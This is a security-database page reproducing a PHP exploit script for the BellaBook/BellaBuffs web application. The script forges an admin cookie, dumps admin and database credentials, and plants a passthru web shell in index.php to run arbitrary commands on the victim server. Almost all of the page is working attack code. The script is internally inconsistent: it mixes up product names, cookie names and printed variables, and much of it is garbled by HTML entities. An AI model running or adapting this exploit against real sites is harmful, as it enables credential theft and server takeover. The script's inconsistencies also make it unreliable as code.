Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:17661
HistoryJul 31, 2007 - 12:00 a.m.

BellaBook Admin Bypass/Remote Code Execution

2007-07-3100:00:00
vulners.com
59

<?php

/*

#AUTHOR: ilker kandemir

#DOWNLOAD: http://www.jemjabella.co.uk/scripts/BellaBuffs.zip

Explanation:

The user verification routine used in most of the files is:

########################################################
#require_once('prefs.php');
#if (isset($_COOKIE['bellabuffs'])) {

if ($_COOKIE['bellabuffs'] == md5($admin_name.$admin_pass.$secret)) {

if (isset($_GET['ap'])) { $page = $_GET['ap']; } else { $page = ""; }

include('header.php');

########################################################

So basically it's saying "If the value within the cookie pheap_login is not the same value
that is assigned to the $admin_name variable withing prefs.php then you have to be redirected
to the login page".

So if we know the $admin_name we can access any page that uses this authentication method. Also,
we can retrieve all credentials in clear-text.

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<5) {
print "-------------------------------------------------------------------------\r\n";
print " BellaBook Admin Bypass/Remote Code Execution\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: pheap.php [OPTION] [HOST] [PATH] [USER] ([COMMAND])\r\n\r\n";
print "[OPTION] = 0 = Credentials Disclosures\r\n";
print " 1 = Remote Code Execution\r\n";
print "[HOST] = Target server's hostname or ip address\r\n";
print "[PATH] = Path where Pheap is located\r\n";
print "[USER] = Admin's username\r\n";
print "[COMMAND] = Command to execute\r\n\r\n";
print "e.g. pheap.php 0 victim.com /pheap/ admin\r\n";
print " pheap.php 1 victim.com /pheap/ admin \"ls -lia\"\r\n";
print "-------------------------------------------------------------------------\r\n";
die;
}

// Props to [rgod] for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy…';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy…\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy…';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$user = $argv[4];
$cmd = $argv[5];
$cmd = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error… check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($exploit==0){

print "-------------------------------------------------------------------------\r\n";
print " BellaBuffs Admin Bypass/Remote Code Execution \r\n";
print "-------------------------------------------------------------------------\r\n";

$packet =&quot;GET &quot; . $path . &quot;captcha.php HTTP/1.1&#92;r&#92;n&quot;;
$packet.=&quot;Content-Type: application/x-www-form-urlencoded&#92;r&#92;n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;&#92;r&#92;n&quot;;
$packet.=&quot;Content-Length: &quot;.strlen&#40;$data&#41;.&quot;&#92;r&#92;n&quot;;
$packet.=&quot;Cookie: pheap_login=&quot; . $user . &quot;&#92;r&#92;n&quot;;
$packet.=&quot;Connection: Close&#92;r&#92;n&#92;r&#92;n&quot;;

sendpacketii&#40;$packet&#41;;

if &#40;strstr&#40;$html,&quot;This is the settings panel&quot;&#41;&#41;{}
else{echo &quot;...Failed!&#92;r&#92;n&quot;; exit&#40;&#41;;}

$temp=explode&#40;&quot;name=&#92;&quot;user_name&#92;&quot; class=&#92;&quot;ieleft&#92;&quot; value=&#92;&quot;&quot;,$html&#41;;
$temp2=explode&#40;&quot;&#92;&quot; /&gt; &lt;strong&gt;:Username&quot;,$temp[1]&#41;;
$ret_user=$temp2[0];

echo &quot;[+] Admin User: &quot; . $admin_name . &quot;&#92;r&#92;n&quot;;

$temp=explode&#40;&quot;name=&#92;&quot;password&#92;&quot; class=&#92;&quot;ieleft&#92;&quot; value=&#92;&quot;&quot;,$html&#41;;
$temp2=explode&#40;&quot;&#92;&quot; /&gt; &lt;strong&gt;:Password&quot;,$temp[1]&#41;;
$ret_user=$temp2[0];

echo &quot;[+] Admin Pass: &quot; . $admin_pass . &quot;&#92;r&#92;n&quot;;

$temp=explode&#40;&quot;name=&#92;&quot;dbhost&#92;&quot; class=&#92;&quot;ieleft&#92;&quot; id=&#92;&quot;dbhost&#92;&quot; value=&#92;&quot;&quot;,$html&#41;;
$temp2=explode&#40;&quot;&#92;&quot; /&gt; &lt;strong&gt;:Database Host&quot;,$temp[1]&#41;;
$ret_user=$temp2[0];

echo &quot;[+] Database Host: &quot; . $admin_name . &quot;&#92;r&#92;n&quot;;

$temp=explode&#40;&quot;name=&#92;&quot;dbuser&#92;&quot; class=&#92;&quot;ieleft&#92;&quot; id=&#92;&quot;dbuser&#92;&quot; value=&#92;&quot;&quot;,$html&#41;;
$temp2=explode&#40;&quot;&#92;&quot; /&gt; &lt;strong&gt;:Database Username&quot;,$temp[1]&#41;;
$ret_user=$temp2[0];

echo &quot;[+] Database User: &quot; . $admin_pass . &quot;&#92;r&#92;n&quot;;

$temp=explode&#40;&quot;name=&#92;&quot;dbpass&#92;&quot; class=&#92;&quot;ieleft&#92;&quot; id=&#92;&quot;dbpass&#92;&quot; value=&#92;&quot;&quot;,$html&#41;;
$temp2=explode&#40;&quot;&#92;&quot; /&gt; &lt;strong&gt;:Database Password&quot;,$temp[1]&#41;;
$ret_user=$temp2[0];

echo &quot;[+] Database Pass: &quot; . $ret_user . &quot;&#92;r&#92;n&quot;;

print "-------------------------------------------------------------------------\r\n";
print " MEFISTO BEGiNS \r\n";
print "-------------------------------------------------------------------------\r\n";
}

if($exploit==1){

$packet =&quot;GET &quot; . $path . &quot;admin.php?ap=manage_members&amp;amp=&quot; . $path . &quot;index.php HTTP/1.1&#92;r&#92;n&quot;;
$packet.=&quot;Content-Type: application/x-www-form-urlencoded&#92;r&#92;n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;&#92;r&#92;n&quot;;
$packet.=&quot;Content-Length: &quot;.strlen&#40;$data&#41;.&quot;&#92;r&#92;n&quot;;
$packet.=&quot;Cookie: pheap_login=&quot; . $user . &quot;&#92;r&#92;n&quot;;
$packet.=&quot;Connection: Close&#92;r&#92;n&#92;r&#92;n&quot;;

sendpacketii&#40;$packet&#41;;

$temp=explode&#40;&quot;name=&#92;&quot;filename&#92;&quot; value=&#92;&quot;&quot;,$html&#41;;
$temp2=explode&#40;&quot;&#92;&quot;&gt;&quot;,$temp[1]&#41;;
$fullpath=$temp2[0];

$shell = &#39;&lt;?php echo &quot;&lt;font color=#FFFFFF&gt;For Turkey&lt;/font&gt;&quot;;ini_set&#40;&quot;max_execution_time&quot;,0&#41;;passthru&#40;$_GET[cmd]&#41;;echo &quot;&lt;font color=#FFFFFF&gt;Milw0rm.Com&lt;/font&gt;&quot;;?&gt;&#39;;
$data = &quot;mce_editor_0_styleSelect=&quot;;
$data .= &quot;&amp;mce_editor_0_formatSelect=&quot;;
$data .= &quot;&amp;mce_editor_0_fontNameSelect=&quot;;
$data .= &quot;&amp;mce_editor_0_fontSizeSelect=0&quot;;
$data .= &quot;&amp;mce_editor_0_zoomSelect=100&#37;25&quot;;
$data .= &quot;&amp;content=&quot; . urlencode&#40;$shell&#41;;
$data .= &quot;&amp;filename=&quot; . urlencode&#40;$fullpath&#41;;
$data .= &quot;&amp;update_text.x=57&quot;;
$data .= &quot;&amp;update_text.y=15&quot;;

$packet =&quot;POST &quot; . $path . &quot;admin.php?ap=manage_members HTTP/1.1&#92;r&#92;n&quot;;
$packet.=&quot;Content-Type: application/x-www-form-urlencoded&#92;r&#92;n&quot;;
$packet.=&quot;Accept: */*&#92;r&#92;n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;&#92;r&#92;n&quot;;
$packet.=&quot;Content-Length: &quot;.strlen&#40;$data&#41;.&quot;&#92;r&#92;n&quot;;
$packet.=&quot;Cookie: pheap_login=&quot; . $user . &quot;&#92;r&#92;n&quot;;
$packet.=&quot;Referer: http://&quot; . $host.$path . &quot;admin.php?ap=manage_members&amp;amp=&quot; . $path . &quot;index.php&#92;r&#92;n&quot;;
$packet.=&quot;Connection: Close&#92;r&#92;n&#92;r&#92;n&quot;;
$packet.=$data;
sendpacketii&#40;$packet&#41;;

$packet =&quot;GET &quot; . $path . &quot;index.php?cmd=&quot; . $cmd . &quot; HTTP/1.1&#92;r&#92;n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;&#92;r&#92;n&quot;;
$packet.=&quot;Connection: Close&#92;r&#92;n&#92;r&#92;n&quot;;
sendpacketii&#40;$packet&#41;;

if &#40;strstr&#40;$html,&quot;...Silentz&quot;&#41;&#41;
 {
print &quot;-------------------------------------------------------------------------&#92;r&#92;n&quot;;
print &quot;              BellaBuffs Admin Bypass/Remote Code Execution     &#92;r&#92;n&quot;;
print &quot;-------------------------------------------------------------------------&#92;r&#92;n&quot;;

   $temp=explode&#40;&quot;...Silentz&lt;/font&gt;&quot;,$html&#41;;
   $temp2=explode&#40;&quot;&lt;font color=#FFFFFF&gt;&quot;,$temp[1]&#41;;
   echo &quot;===============================================================&#92;r&#92;n&#92;r&#92;n&quot;;
   echo $temp2[0];
   echo &quot;&#92;r&#92;n===============================================================&#92;r&#92;n&quot;;
   echo &quot;&#92;r&#92;n[+] Shell...http://&quot; .$host.$path. &quot;index.php?cmd=[COMMAND]&#92;r&#92;n&quot;

 }

}
?>